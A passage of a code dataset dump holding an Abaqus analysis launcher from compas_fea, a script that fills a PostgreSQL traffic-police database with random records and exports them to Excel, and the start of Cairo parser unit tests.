<liew@arch.ethz.ch>']\r\n__copyright__ = 'Copyright 2018, BLOCK Research Group - ETH Zurich'\r\n__license__ = 'MIT License'\r\n__email__ = 'liew@arch.ethz.ch'\r\n\r\n\r\n__all__ = [\r\n 'abaqus_launch_process',\r\n 'extract_odb_data',\r\n 'input_generate',\r\n]\r\n\r\n\r\nnode_fields = ['rf', 'rm', 'u', 'ur', 'cf', 'cm']\r\nelement_fields = ['sf', 'sm', 'sk', 'se', 's', 'e', 'pe', 'rbfor', 'ctf']\r\n\r\n\r\ndef abaqus_launch_process(structure, exe, cpus):\r\n\r\n \"\"\" Runs the analysis through Abaqus.\r\n\r\n Parameters\r\n ----------\r\n structure : obj\r\n Structure object.\r\n exe : str\r\n Full terminal command to bypass subprocess defaults.\r\n cpus : int\r\n Number of CPU cores to use.\r\n\r\n Returns\r\n -------\r\n None\r\n\r\n \"\"\"\r\n\r\n # Create temp folder\r\n\r\n name = structure.name\r\n path = structure.path\r\n temp = '{0}{1}/'.format(path, name)\r\n try:\r\n os.stat(temp)\r\n except:\r\n os.mkdir(temp)\r\n\r\n # Run subprocess file\r\n\r\n tic = time()\r\n\r\n subprocess = 'noGUI={0}'.format(launch_job.__file__.replace('\\\\', '/'))\r\n success = False\r\n\r\n if not exe:\r\n\r\n args = ['abaqus', 'cae', subprocess, '--', str(cpus), path, name]\r\n p = Popen(args, stdout=PIPE, stderr=PIPE, cwd=temp, shell=True)\r\n while True:\r\n line = p.stdout.readline()\r\n if not line:\r\n break\r\n line = str(line.strip())\r\n print(line)\r\n if 'COMPLETED' in line:\r\n success = True\r\n stdout, stderr = p.communicate()\r\n print(stdout)\r\n print(stderr)\r\n\r\n else:\r\n\r\n try:\r\n args = '{0} -- {1} {2} {3}'.format(subprocess, cpus, path, name)\r\n os.chdir(temp)\r\n os.system('{0}{1}'.format(exe, args))\r\n success = True\r\n except:\r\n pass\r\n\r\n if success:\r\n print('***** Analysis successful: analysis time : {0} s *****'.format(time() - tic))\r\n\r\n else:\r\n print('***** Analysis failed: attempting to read error logs *****')\r\n\r\n try:\r\n with open('{0}{1}.msg'.format(temp, name)) as f:\r\n lines = f.readlines()\r\n for c, line in enumerate(lines):\r\n if (' ***ERROR' in line) or (' ***WARNING' in line):\r\n print(lines[c][:-2])\r\n print(lines[c + 1][:-2])\r\n except:\r\n pass\r\n\r\n try:\r\n with open('{0}abaqus.rpy'.format(temp)) as f:\r\n lines = f.readlines()\r\n for c, line in enumerate(lines):\r\n if '#: ' in line:\r\n print(lines[c])\r\n except:\r\n pass\r\n\r\n\r\ndef input_generate(structure, fields):\r\n\r\n \"\"\" Creates the Abaqus .inp file from the Structure object.\r\n\r\n Parameters\r\n ----------\r\n structure : obj\r\n The Structure object to read from.\r\n fields : list\r\n Data field requests.\r\n\r\n Returns\r\n -------\r\n None\r\n\r\n \"\"\"\r\n\r\n filename = '{0}{1}.inp'.format(structure.path, structure.name)\r\n\r\n if isinstance(fields, str):\r\n fields = [fields]\r\n\r\n with open(filename, 'w') as f:\r\n\r\n constraints = structure.constraints\r\n displacements = structure.displacements\r\n elements = structure.elements\r\n interactions = structure.interactions\r\n loads = structure.loads\r\n materials = structure.materials\r\n misc = structure.misc\r\n nodes = structure.nodes\r\n properties = structure.element_properties\r\n sections = structure.sections\r\n sets = structure.sets\r\n steps = structure.steps\r\n\r\n write_input_heading(f, 'abaqus')\r\n write_input_nodes(f, 'abaqus', nodes, sets)\r\n write_input_bcs(f, 'abaqus', structure, steps, displacements, sets)\r\n write_input_materials(f, 'abaqus', materials)\r\n write_input_elements(f, 'abaqus', sections, properties, elements, structure, materials)\r\n write_input_steps(f, 'abaqus', structure, steps, loads, displacements, sets, fields)\r\n\r\n print('***** Abaqus input file generated: {0} *****\\n'.format(filename))\r\n\r\n\r\ndef extract_odb_data(structure, fields, exe):\r\n\r\n \"\"\" Extract data from the Abaqus .odb file.\r\n\r\n Parameters\r\n ----------\r\n structure : obj\r\n Structure object.\r\n fields : list\r\n Data field requests.\r\n exe : str\r\n Full terminal command to bypass subprocess defaults.\r\n\r\n Returns\r\n -------\r\n None\r\n\r\n \"\"\"\r\n\r\n name = structure.name\r\n path = structure.path\r\n temp = '{0}{1}/'.format(path, name)\r\n\r\n if isinstance(fields, str):\r\n fields = [fields]\r\n fields = ','.join(list(structure.fields_dic_from_list(fields).keys()))\r\n\r\n tic1 = time()\r\n\r\n subprocess = 'noGUI={0}'.format(odb_extract.__file__.replace('\\\\', '/'))\r\n\r\n if not exe:\r\n args = ['abaqus', 'cae', subprocess, '--', fields, name, temp]\r\n p = Popen(args, stdout=PIPE, stderr=PIPE, cwd=temp, shell=True)\r\n while True:\r\n line = p.stdout.readline()\r\n if not line:\r\n break\r\n line = str(line.strip())\r\n print(line)\r\n stdout, stderr = p.communicate()\r\n print(stdout)\r\n print(stderr)\r\n\r\n else:\r\n args = '{0} -- {1} {2} {3}'.format(subprocess, fields, name, temp)\r\n os.chdir(temp)\r\n os.system('{0}{1}'.format(exe, args))\r\n\r\n print('\\n***** Data extracted from Abaqus .odb file : {0:.3f} s *****\\n'.format(time() - tic1))\r\n\r\n tic2 = time()\r\n\r\n try:\r\n with open('{0}{1}-results.json'.format(temp, name), 'r') as f:\r\n results = json.load(f)\r\n\r\n with open('{0}{1}-info.json'.format(temp, name), 'r') as f:\r\n info = json.load(f)\r\n\r\n for step in results:\r\n print('***** Saving step: {0} *****'.format(step))\r\n for dtype in results[step]:\r\n for field in results[step][dtype]:\r\n data = {}\r\n for key in results[step][dtype][field]:\r\n data[int(key)] = results[step][dtype][field][key]\r\n results[step][dtype][field] = data\r\n\r\n structure.results = results\r\n\r\n for step in info:\r\n structure.results[step]['info'] = info[step]\r\n\r\n # structure.save_to_obj()\r\n\r\n print('***** Saving data to structure.results successful : {0:.3f} s *****\\n'.format(time() - tic2))\r\n\r\n except:\r\n print('***** Saving data to structure.results unsuccessful *****')\r\n","sub_path":"src/compas_fea/fea/abaq/abaq.py","file_name":"abaq.py","file_ext":"py","file_size_in_byte":7253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"539875936","text":"import random\nimport string\n\nimport os, sys\nimport datetime\nimport psycopg2\nimport pyexcel as pyexcel\n\nimport json\n\ntables = [\n 'people',\n 'driver_license',\n 'inspector',\n 'machine_directory',\n 'violation',\n 'dir_categories',\n 'categories',\n 'car',\n 'fine',\n 'dtp',\n 'details',\n 'damage_car',\n 'damage',\n 'injured',\n 'guilty',\n 'osago'\n]\n\nranks = [\n 'Radovoi',\n 'Mladshi sergant',\n 'Sergant',\n 'Starshi sergant',\n 'Starshina',\n 'Praporsshik',\n 'Mladshi praporshik',\n 'Leidenant'\n]\n\n\ntry:\n conn = psycopg2.connect(dbname='GIPDD', user='postgres',\n password='1', host='localhost')\nexcept:\n print(\"Can not connect\")\n\n\ndef print_tables():\n for table in tables:\n print_table(table)\n\n\ndef print_table(table):\n with conn.cursor() as cursor:\n print('\\n%s' % table)\n cursor.execute('SELECT * FROM %s' % table)\n for row in cursor:\n print(row)\n cursor.close()\n\n\ndef get_table(table):\n with conn.cursor() as cursor:\n field = []\n cursor.execute('SELECT * FROM %s' % table)\n field.append([row[0] for row in cursor.description])\n field += cursor.fetchall()\n return field\n\n\ndef get_value(table, column_neme, str_number):\n column = get_number_column(table, column_neme)\n if column == None:\n return -1\n\n if (column >= 0):\n return table[str_number][column]\n return None\n\n\ndef get_number_column(table, column_neme):\n for i in range(len(table[0])):\n if (table[0][i] == column_neme):\n return i\n return None\n\n\ndef find_value(table, column_neme, value):\n column = get_number_column(table, column_neme)\n if column == None:\n return -1\n\n if (column >= 0):\n for str in range(1, len(table)):\n if(int(table[str][column]) == int(value)):\n return [str, column]\n return None\n else:\n return -1\n\n\ndef get_list_int(table, colum_name, min, max, limit = 1):\n value = []\n for i in range(min, max):\n if (find_value(table, colum_name, i) == None):\n value.append(i)\n if len(value) == limit:\n break\n return value\n\n\ndef clear_db():\n with conn.cursor() as cursor:\n for table in tables:\n cursor.execute(\"TRUNCATE %s RESTART IDENTITY CASCADE\" % table)\n cursor.close()\n\n\ndef randstr(length):\n letters = string.ascii_lowercase\n return ''.join(random.choice(letters) for i in range(length))\n\n\ndef generate_dir_categories():\n table = get_table('dir_categories')\n num = len(table)\n if num <= 1:\n with conn.cursor() as cursor:\n cursor.execute(\"INSERT INTO dir_categories (id, name) VALUES (%s,%s)\",\n (1, 'A'))\n conn.commit()\n cursor.execute(\"INSERT INTO dir_categories (id, name) VALUES (%s,%s)\",\n (2, 'B'))\n conn.commit()\n cursor.execute(\"INSERT INTO dir_categories (id, name) VALUES (%s,%s)\",\n (3, 'C'))\n conn.commit()\n cursor.execute(\"INSERT INTO dir_categories (id, name) VALUES (%s,%s)\",\n (4, 'D'))\n conn.commit()\n cursor.execute(\"INSERT INTO dir_categories (id, name) VALUES (%s,%s)\",\n (5, 'E'))\n conn.commit()\n\n\ndef generate_people(size):\n if size > 0:\n with conn.cursor() as cursor:\n for i in range(0, size):\n cursor.execute(\n \"INSERT INTO people(first_name, last_name, middle_name) VALUES (%s,%s,%s)\",\n (randstr(15), randstr(15), randstr(15)))\n conn.commit()\n\n\ndef generate_driver_license(size):\n if size > 0:\n people_table = get_table(\"people\")\n size_people = len(people_table)\n if size_people > 0:\n people_key = []\n max_ints = size\n dl_table = get_table('driver_license')\n\n rand_number = get_list_int(dl_table, \"number\", 1, 1000000, size)\n if max_ints > len(rand_number):\n max_ints = len(rand_number)\n categories = get_list_int(dl_table, \"categories\", 1, 1000000, size)\n if max_ints > len(categories):\n max_ints = len(categories)\n people = get_list_int(dl_table, \"people_id\", 1, size_people, size)\n for j in range(0, len(people)):\n people_key.append(get_value(people_table, \"id\", people[j]))\n if max_ints > len(people_key):\n max_ints = len(people_key)\n if max_ints < size:\n print('Only ' + str(max_ints) + ' entries can be added to the driver_licens table.')\n\n with conn.cursor() as cursor:\n for i in range(0, max_ints):\n\n y = random.randint(8, 20)\n m = random.randint(1, 12)\n d = random.randint(1, 28)\n\n unit_gipdd = 'GIPDD ' + str(random.randrange(7800, 7899))\n cursor.execute(\"INSERT INTO driver_license (number, categories, data_and_time_of_issue, end_date_and_time, unit_gipdd, people_id) VALUES (%s,%s,%s,%s,%s,%s)\",\n (rand_number[i], categories[i], datetime.date(2000 + y, m, d),\n datetime.date(2000 + y + 10, m, d), unit_gipdd, people_key[i]))\n probability = 0.3\n quantity = 0\n for j in range(1, 6):\n rand = random.random()\n if rand < probability:\n quantity += 1\n cursor.execute(\"INSERT INTO categories (categories, id_categories) VALUES (%s,%s)\", (categories[i], j))\n if j == 4 and quantity == 0:\n cursor.execute(\"INSERT INTO categories (categories, id_categories) VALUES (%s,%s)\", (categories[i], 1))\n conn.commit()\n\n\ndef generate_inspector(sizeInsp):\n if sizeInsp > 0:\n people_table = get_table('people')\n size_peop = len(people_table)\n if size_peop > 0:\n people_key = []\n max_ints = sizeInsp\n insp_table = get_table('inspector')\n\n police_certificate = get_list_int(insp_table, \"police_certificate\", 1, 1000000, sizeInsp)\n if max_ints > len(police_certificate):\n max_ints = len(police_certificate)\n people = get_list_int(insp_table, \"people_id\", 1, size_peop, sizeInsp)\n for j in range(0, len(people)):\n people_key.append(get_value(people_table, \"id\", people[j]))\n if max_ints > len(people_key):\n max_ints = len(people_key)\n if max_ints < sizeInsp:\n print('Only ' + str(max_ints) + ' entries can be added to the inspector table.')\n\n with conn.cursor() as cursor:\n for i in range(0, max_ints):\n rand_rank = random.randrange(0, len(ranks))\n cursor.execute(\n \"INSERT INTO inspector (police_certificate, rank, people_id) VALUES (%s,%s,%s)\",\n (police_certificate[i], ranks[rand_rank], people_key[i]))\n conn.commit()\n\n\ndef generate_violation(size):\n if size > 0:\n max_ints = size\n violation_table = get_table('violation')\n title = get_list_int(violation_table, \"id\", 1, 1000000, size)\n if max_ints > len(title):\n max_ints = len(title)\n with conn.cursor() as cursor:\n for i in range(0, max_ints):\n cursor.execute(\"INSERT INTO violation (title, punishment) VALUES (%s,%s)\",\n ('Article ' + str(title[i]), randstr(15)))\n conn.commit()\n\n\ndef generate_fine(sizeFine):\n if sizeFine > 0:\n\n insp_table = get_table('inspector')\n size_Insp = len(insp_table)\n dl_table = get_table('driver_license')\n size_DL = len(dl_table)\n viol_table = get_table('violation')\n size_Viol = len(viol_table)\n if size_Insp > 0 and size_DL > 0 and size_Viol > 0:\n with conn.cursor() as cursor:\n for i in range(0, sizeFine):\n insp_rand = random.randint(1, size_Insp - 1)\n insp = get_value(insp_table, \"id\", insp_rand)\n\n dl_rand = random.randint(1, size_DL - 1)\n dl = get_value(dl_table, \"id\", dl_rand)\n\n viol_rand = random.randint(1, size_Viol - 1)\n viol = get_value(viol_table, \"id\", viol_rand)\n\n y = random.randint(10, 20)\n m = random.randint(1, 12)\n d = random.randint(1, 28)\n\n cursor.execute(\n \"INSERT INTO fine (driver_license, police_certificate, data_and_time, id_violation) VALUES (%s,%s, %s,%s)\",\n (dl, insp, datetime.date(2000 + y, m, d), viol))\n\n conn.commit()\n\n\ndef generate_machine_directory(size):\n if size > 0:\n with conn.cursor() as cursor:\n for i in range(0, size):\n cursor.execute(\"INSERT INTO machine_directory (brand, model) VALUES (%s,%s)\",\n (randstr(3), randstr(15)))\n conn.commit()\n\n\ndef generate_car(sizeCar):\n if sizeCar > 0:\n md_table = get_table('machine_directory')\n size_md = len(md_table)\n categories_table = get_table('dir_categories')\n size_categories = len(categories_table)\n people_table = get_table('people')\n size_people = len(people_table)\n if size_md > 0 and size_categories > 0 and size_people > 0:\n md_key = []\n categories_key = []\n people_key = []\n max_ints = sizeCar\n car_table = get_table('car')\n\n registration_plate = get_list_int(car_table, \"registration_plate\", 1, 1000000, sizeCar)\n if max_ints > len(registration_plate):\n max_ints = len(registration_plate)\n for j in range(0, sizeCar):\n md = random.randint(1, size_md - 1)\n md_key.append(get_value(md_table, \"id\", md))\n for j in range(0, sizeCar):\n categories = random.randint(1, size_categories - 1)\n categories_key.append(get_value(people_table, \"id\", categories))\n for j in range(0, sizeCar):\n people = random.randint(1, size_md - 1)\n people_key.append(get_value(people_table, \"id\", people))\n\n if max_ints < sizeCar:\n print('Only ' + str(max_ints) + ' entries can be added to the driver_licens table.')\n with conn.cursor() as cursor:\n for i in range(0, max_ints):\n cursor.execute(\n \"INSERT INTO car (registration_plate, brand_and_monel, categories, people_id) VALUES (%s,%s, %s,%s)\",\n (registration_plate[i], md_key[i], categories_key[i], people_key[i]))\n y = random.randint(17, 20)\n m = random.randint(1, 12)\n d = random.randint(1, 28)\n cursor.execute(\n \"INSERT INTO osago (data_and_time_of_issue, end_date_and_time, car) VALUES (%s, %s, %s)\",\n (datetime.date(2000 + y, m, d), datetime.date(2000 + y + 1, m, d), registration_plate[i]))\n conn.commit()\n\n\ndef generate_dtp(size):\n if size > 0:\n car_table = get_table('car')\n size_car = len(car_table)\n details_table = get_table('details')\n size_details = len(details_table)\n if size_car > 0 and size_details > 0:\n # people_key = []\n max_ints = size\n dtp_table = get_table('dtp')\n\n injured = get_list_int(dtp_table, 'injured', 1, 1000000, size)\n if max_ints > len(injured):\n max_ints = len(injured)\n guilty = get_list_int(dtp_table, 'guilty', 1, 1000000, size)\n if max_ints > len(guilty):\n max_ints = len(guilty)\n damage_car = get_list_int(dtp_table, 'damage_car', 1, 1000000, size)\n if max_ints > len(damage_car):\n max_ints = len(damage_car)\n\n with conn.cursor() as cursor:\n for i in range(0, max_ints):\n cursor.execute(\"INSERT INTO dtp (injured, guilty, damage_car) VALUES (%s, %s, %s)\",\n (injured[i], guilty[i], damage_car[i]))\n\n r = random.randint(1, 3)\n for j in range(r):\n rand_car_inj = random.randint(1, size_car - 1)\n car_inj = get_value(car_table, \"id\", rand_car_inj)\n cursor.execute(\"INSERT INTO injured (injured, injured_id) VALUES (%s, %s)\",\n (injured[i], car_inj))\n\n r = random.randint(1, 3)\n for j in range(r):\n rand_car_guil = random.randint(1, size_car - 1)\n car_guil = get_value(car_table, \"id\", rand_car_guil)\n cursor.execute(\"INSERT INTO guilty (guilty, guilty_id) VALUES (%s, %s)\",\n (guilty[i], car_guil))\n\n damage_table = get_table('damage_car')\n r = random.randint(1, 3)\n max_r = r\n rand_damage = get_list_int(damage_table, 'damage', 1, 1000000, r)\n if max_ints > len(rand_damage):\n max_ints = len(rand_damage)\n for j in range(max_r):\n cursor.execute(\"INSERT INTO damage_car (damage_car, damage) VALUES (%s, %s)\",\n (damage_car[i], rand_damage[j]))\n\n r_damage = random.randint(1, 3)\n for j_damage in range(r_damage):\n rand_details = random.randint(2, size_details - 1)\n detail = (get_value(details_table, \"id\", rand_details))\n cursor.execute(\"INSERT INTO damage (damage, damage_id) VALUES (%s, %s)\",\n (rand_damage[j], detail))\n conn.commit()\n\n\ndef generate_details(size):\n if size > 0:\n max_ints = size\n details_table = get_table('details')\n details = get_list_int(details_table, \"id\", 1, 1000000, size)\n if max_ints > len(details):\n max_ints = len(details)\n with conn.cursor() as cursor:\n for i in range(0, max_ints):\n cursor.execute(\"INSERT INTO details (id, name) VALUES (%s, %s)\", (details[i], randstr(15)))\n conn.commit()\n\n\ndef generate(sizePeople, sizeDriver, sizeInsp, sizeViolation, sizeFine, sizeMachineDirectory ,sizeCar, sizeDetails, sizeDTP):\n\n generate_dir_categories()\n\n generate_people(sizePeople)\n generate_driver_license(sizeDriver)\n\n generate_inspector(sizeInsp)\n generate_violation(sizeViolation)\n generate_fine(sizeFine)\n\n generate_machine_directory(sizeMachineDirectory)\n generate_car(sizeCar)\n\n generate_details(sizeDetails)\n\n generate_dtp(sizeDTP)\n\n\ndef read_json(file_path):\n with open(file_path, 'r') as f:\n return json.loads(f.read())\n\n\ndef excel_export(tables):\n wold_book = dict()\n with conn.cursor() as cursor:\n for table in tables:\n field = []\n cursor.execute('SELECT * FROM %s' % table)\n field.append([row[0] for row in cursor.description])\n field += cursor.fetchall()\n\n wold_book[table] = field\n\n filename = 'gpdd_base2.xlsx'\n pyexcel.save_book_as(bookdict=wold_book, dest_file_name=filename)\n\n os.chdir(sys.path[0])\n os.system('start excel.exe \"%s\\\\%s\"' % (sys.path[0], filename,))\n\n\n\n\nif __name__ == '__main__':\n # file = 'generate.json'\n # data = read_json(file)\n #\n # clear_db()\n # generate(data['people'], data['driver'], data['inspector'], data['violation'], data['fine'],data['machine_directory'], data['car'], data['details'], data['dtp'])\n # print_tables()\n\n table1 = [\n 'people',\n 'driver_license',\n 'inspector',\n 'machine_directory',\n 'violation'\n ]\n excel_export(tables);\n\n conn.close()\n","sub_path":"Lab3/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":16678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"266643057","text":"import pytest\n\nfrom starkware.cairo.lang.compiler.ast.aliased_identifier import AliasedIdentifier\nfrom starkware.cairo.lang.compiler.ast.cairo_types import TypeFelt, TypeTuple\nfrom starkware.cairo.lang.compiler.ast.code_elements import (\n CodeElementImport, CodeElementReference, CodeElementReturnValueReference)\nfrom starkware.cairo.lang.compiler.ast.expr import (\n ExprConst, ExprDeref, ExprDot, ExprIdentifier, ExprNeg, ExprOperator, ExprParentheses,\n ExprPyConst, ExprReg, ExprSubscript)\nfrom starkware.cairo.lang.compiler.ast.formatting_utils import FormattingError\nfrom starkware.cairo.lang.compiler.ast.instructions import (\n AddApInstruction, AssertEqInstruction, CallInstruction, CallLabelInstruction, InstructionAst,\n JnzInstruction, JumpInstruction, JumpToLabelInstruction, RetInstruction)\nfrom starkware.cairo.lang.compiler.ast.types import TypedIdentifier\nfrom starkware.cairo.lang.compiler.error_handling import LocationError, get_location_marks\nfrom starkware.cairo.lang.compiler.expression_simplifier import ExpressionSimplifier\nfrom starkware.cairo.lang.compiler.instruction import Register\nfrom starkware.cairo.lang.compiler.parser import (\n parse, parse_code_element, parse_expr, parse_instruction, parse_type)\nfrom starkware.cairo.lang.compiler.parser_test_utils import verify_exception\nfrom starkware.cairo.lang.compiler.parser_transformer import ParserContext, ParserError\nfrom starkware.python.utils import safe_zip\n\n\ndef test_int():\n expr = parse_expr(' 01234 ')\n assert expr == ExprConst(val=1234)\n assert expr.format_str == '01234'\n assert expr.format() == '01234'\n\n expr = parse_expr('-01234')\n assert expr == ExprNeg(val=ExprConst(val=1234))\n assert expr.val.format_str == '01234'\n assert expr.format() == '-01234'\n\n assert parse_expr('-1234') == parse_expr('- 1234')\n\n\ndef test_hex_int():\n expr = parse_expr(' 0x1234 ')\n assert expr == ExprConst(val=0x1234)\n assert expr.format_str == '0x1234'\n assert expr.format() == '0x1234'\n\n expr = parse_expr('-0x01234')\n assert expr == ExprNeg(val=ExprConst(val=0x1234))\n assert expr.val.format_str == '0x01234'\n assert expr.format() == '-0x01234'\n\n assert parse_expr('-0x1234') == parse_expr('- 0x1234')\n\n\ndef test_types():\n assert isinstance(parse_type('felt'), TypeFelt)\n assert parse_type('my_namespace.MyStruct * *').format() == 'my_namespace.MyStruct**'\n assert parse_type('my_namespace.MyStruct*****').format() == 'my_namespace.MyStruct*****'\n\n\ndef test_type_tuple():\n typ = parse_type('(felt)')\n assert typ == TypeTuple(members=[TypeFelt()])\n assert typ.format() == '(felt)'\n assert parse_type('( felt, felt* , (felt, T.S,)* )').format() == '(felt, felt*, (felt, T.S)*)'\n\n\ndef test_identifier_and_dot():\n assert parse_expr('x.y . z + x ').format() == 'x.y.z + x'\n assert parse_expr(' [x]. y . z').format() == '[x].y.z'\n assert parse_expr('(x-y).z').format() == '(x - y).z'\n assert parse_expr('x-y.z').format() == 'x - y.z'\n assert parse_expr('[ap+1].x.y').format() == '[ap + 1].x.y'\n assert parse_expr('((a.b + c).d * e.f + g.h).i.j').format() == '((a.b + c).d * e.f + g.h).i.j'\n\n assert parse_expr('(x).y.z') == \\\n ExprDot(\n expr=ExprDot(\n expr=ExprParentheses(val=ExprIdentifier(name='x')),\n member=ExprIdentifier(name='y')),\n member=ExprIdentifier(name='z'))\n assert parse_expr('x.y.z') == ExprIdentifier(name='x.y.z')\n\n with pytest.raises(ParserError):\n parse_expr('.x')\n with pytest.raises(ParserError):\n parse_expr('x.')\n with pytest.raises(ParserError):\n parse_expr('x.(y+z)')\n with pytest.raises(ParserError):\n parse_expr('x.[a]')\n\n\ndef test_typed_identifier():\n typed_identifier = parse(None, 't : felt*', 'typed_identifier', TypedIdentifier)\n assert typed_identifier.format() == 't : felt*'\n\n typed_identifier = parse(None, 'local t : felt', 'typed_identifier', TypedIdentifier)\n assert typed_identifier.format() == 'local t : felt'\n\n\ndef test_exp_pyconst():\n expr = parse_expr(' %[foo bar%] ')\n assert expr == ExprPyConst(code='foo bar')\n assert expr.format() == '%[foo bar%]'\n\n\ndef test_add_expr():\n expr = parse_expr('[fp + 1] + [ap - x]')\n assert expr == \\\n ExprOperator(\n a=ExprDeref(\n addr=ExprOperator(\n a=ExprReg(reg=Register.FP),\n op='+',\n b=ExprConst(val=1))),\n op='+',\n b=ExprDeref(\n addr=ExprOperator(\n a=ExprReg(reg=Register.AP),\n op='-',\n b=ExprIdentifier(name='x'))))\n assert expr.format() == '[fp + 1] + [ap - x]'\n assert parse_expr('[ap-7]+37').format() == '[ap - 7] + 37'\n\n\ndef test_deref_expr():\n expr = parse_expr('[[fp - 7] + 3]')\n assert expr == \\\n ExprDeref(\n addr=ExprOperator(\n a=ExprDeref(\n addr=ExprOperator(\n a=ExprReg(reg=Register.FP),\n op='-',\n b=ExprConst(val=7))),\n op='+',\n b=ExprConst(val=3)))\n assert expr.format() == '[[fp - 7] + 3]'\n\n\ndef test_subscript_expr():\n assert parse_expr('x[y]').format() == 'x[y]'\n assert parse_expr('[x][y][z][w]').format() == '[x][y][z][w]'\n assert parse_expr(' x [ [ y[z[w]] ] ]').format() == 'x[[y[z[w]]]]'\n assert parse_expr(' (x+y)[z+w] ').format() == '(x + y)[z + w]'\n assert parse_expr('(&x)[3][(a-b)*2][&c]').format() == '(&x)[3][(a - b) * 2][&c]'\n assert parse_expr('x[i+n*j]').format() == 'x[i + n * j]'\n assert parse_expr('x+[y][z]').format() == 'x + [y][z]'\n\n assert parse_expr('[x][y][[z]]') == \\\n ExprSubscript(\n expr=ExprSubscript(\n expr=ExprDeref(addr=ExprIdentifier(name='x')),\n offset=ExprIdentifier(name='y')\n ),\n offset=ExprDeref(addr=ExprIdentifier(name='z')))\n\n with pytest.raises(ParserError):\n parse_expr('x[)]')\n with pytest.raises(ParserError):\n parse_expr('x[]')\n\n\ndef test_operator_precedence():\n code = '(5 + 2) - (3 - 9) * (7 + (-(8 ** 2))) - 10 * (-2) * 5 ** 3 + (((7)))'\n expr = parse_expr(code)\n # Test formatting.\n assert expr.format() == code\n\n # Compute the value of expr from the tree and compare it with the correct value.\n PRIME = 3 * 2**30 + 1\n simplified_expr = ExpressionSimplifier(PRIME).visit(expr)\n assert isinstance(simplified_expr, ExprConst)\n assert simplified_expr.val == eval(code)\n\n\ndef test_mul_expr():\n assert parse_expr('[ap]*[fp]').format() == '[ap] * [fp]'\n assert parse_expr('[ap]*37').format() == '[ap] * 37'\n\n\ndef test_div_expr():\n assert parse_expr('[ap]/[fp]/3/[ap+1]').format() == '[ap] / [fp] / 3 / [ap + 1]'\n\n code = '120 / 2 / 3 / 4'\n expr = parse_expr(code)\n # Compute the value of expr from the tree and compare it with the correct value.\n PRIME = 3 * 2**30 + 1\n simplified_expr = ExpressionSimplifier(PRIME).visit(expr)\n assert isinstance(simplified_expr, ExprConst)\n assert simplified_expr.val == 5\n\n\ndef test_cast_expr():\n assert parse_expr('cast( ap , T * * )').format() == 'cast(ap, T**)'\n assert parse_expr('cast( ap , T * * ) * (cast(fp, felt))').format() == \\\n 'cast(ap, T**) * (cast(fp, felt))'\n assert parse_expr('cast( \\n ap , T * * )').format() == 'cast(\\n ap, T**)'\n\n\ndef test_tuple_expr():\n assert parse_expr('( )').format() == '()'\n assert parse_expr('( 2)').format() == '(2)' # Not a tuple.\n assert parse_expr('(a= 2)').format() == '(a=2)' # Tuple.\n assert parse_expr('( 2,)').format() == '(2,)'\n assert parse_expr('( 1 , ap)').format() == '(1, ap)'\n assert parse_expr('( 1 , ap, )').format() == '(1, ap,)'\n assert parse_expr('( 1 , a=2, b=(c=()))').format() == '(1, a=2, b=(c=()))'\n\n\ndef test_tuple_expr_with_notes():\n assert parse_expr(\"\"\"\\\n( 1 , # a.\n ( # c.\n ) #b.\n , (fp,[3]))\"\"\").format() == \"\"\"\\\n(1, # a.\n ( # c.\n ), # b.\n (fp, [3]))\"\"\"\n assert parse_expr(\"\"\"\\\n( 1 # b.\n , # a.\n )\"\"\").format() == \"\"\"\\\n(1, # b.\n # a.\n )\"\"\"\n\n\ndef test_hint_expr():\n expr = parse_expr('a*nondet %{6 %}+ 7')\n assert expr.format() == 'a * nondet %{ 6 %} + 7'\n\n\ndef test_pow_expr():\n assert parse_expr('2 ** 3').format() == '2 ** 3'\n verify_exception('let x = 2 * * 3', \"\"\"\nfile:?:?: Unexpected operator. Did you mean \"**\"?\nlet x = 2 * * 3\n ^*^\n\"\"\")\n\n\ndef test_offsets():\n assert parse_expr(' [ [ ap] -x ]').format() == '[[ap] - x]'\n assert parse_expr(' [ [ ap+foo] -x ]').format() == '[[ap + foo] - x]'\n assert parse_expr(' [ [ fp+ 0 ] - 0]').format() == '[[fp + 0] - 0]'\n assert parse_expr(' [ap+-5]').format() == '[ap + (-5)]'\n assert parse_expr(' [ap--5]').format() == '[ap - (-5)]'\n\n\ndef test_instruction():\n # AssertEq.\n expr = parse_instruction('[ap] = [fp]; ap++')\n assert expr == \\\n InstructionAst(\n body=AssertEqInstruction(\n a=ExprDeref(\n addr=ExprReg(reg=Register.AP)),\n b=ExprDeref(\n addr=ExprReg(reg=Register.FP))),\n inc_ap=True)\n assert expr.format() == '[ap] = [fp]; ap++'\n assert parse_instruction('[ap+5] = [fp]+[ap] - 5').format() == '[ap + 5] = [fp] + [ap] - 5'\n assert parse_instruction('[ap+5]+3= [fp]*7;ap ++ ').format() == \\\n '[ap + 5] + 3 = [fp] * 7; ap++'\n\n # Jump.\n expr = parse_instruction('jmp rel [ap] + x; ap++')\n assert expr == \\\n InstructionAst(\n body=JumpInstruction(\n val=ExprOperator(\n a=ExprDeref(addr=ExprReg(reg=Register.AP)),\n op='+',\n b=ExprIdentifier(name='x')),\n relative=True),\n inc_ap=True)\n assert expr.format() == 'jmp rel [ap] + x; ap++'\n assert parse_instruction(' jmp abs[ap]+x').format() == 'jmp abs [ap] + x'\n # Make sure the following are not OK.\n with pytest.raises(ParserError):\n parse_instruction('jmp abs')\n with pytest.raises(ParserError):\n parse_instruction('jmpabs[ap]')\n\n # JumpToLabel.\n expr = parse_instruction('jmp label')\n assert expr == \\\n InstructionAst(\n body=JumpToLabelInstruction(\n label=ExprIdentifier(name='label'),\n condition=None),\n inc_ap=False)\n assert expr.format() == 'jmp label'\n # Make sure the following are not OK.\n with pytest.raises(ParserError):\n parse_instruction('jmp [fp]')\n with pytest.raises(ParserError):\n parse_instruction('jmp 7')\n\n # Jnz.\n expr = parse_instruction('jmp rel [ap] + x if [fp + 3] != 0')\n assert expr == \\\n InstructionAst(\n body=JnzInstruction(\n jump_offset=ExprOperator(\n a=ExprDeref(addr=ExprReg(reg=Register.AP)),\n op='+',\n b=ExprIdentifier(name='x')),\n condition=ExprDeref(\n addr=ExprOperator(\n a=ExprReg(reg=Register.FP),\n op='+',\n b=ExprConst(val=3)))),\n inc_ap=False)\n assert expr.format() == 'jmp rel [ap] + x if [fp + 3] != 0'\n assert parse_instruction(' jmp rel 17 if[fp]!=0;ap++').format() == \\\n 'jmp rel 17 if [fp] 